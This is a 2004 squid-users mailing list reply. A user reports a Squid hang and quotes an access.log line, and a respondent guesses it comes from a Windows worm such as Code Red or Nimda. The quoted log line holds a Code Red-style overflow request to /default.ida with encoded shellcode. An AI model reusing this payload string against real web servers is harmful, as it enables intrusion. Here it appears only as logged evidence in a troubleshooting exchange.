Re: [squid-users] Dos attack on squid

From: fire-eyes <sgtphou@dont-contact.us>
Date: Thu, 15 Jan 2004 18:40:07 -0500

Looks like one of the nasty windows trojans, i.e. codered or nimda, I
forget which.

As far as hanging, that I don't know about.

unixware wrote:
> Dear all
>
> i get following output in my access.log and my squid
> seems to hang after that . restarting squid then its
> works fine
>
> Thanks
>
> 1074154225.509 0 [deleted-ip] NONE/400 2505 GET
> /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd
> 3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> - NONE/- text/html
Received on Thu Jan 15 2004 - 16:39:54 MST

This archive was generated by hypermail pre-2.1.9 : Sun Feb 01 2004 - 12:00:06 MST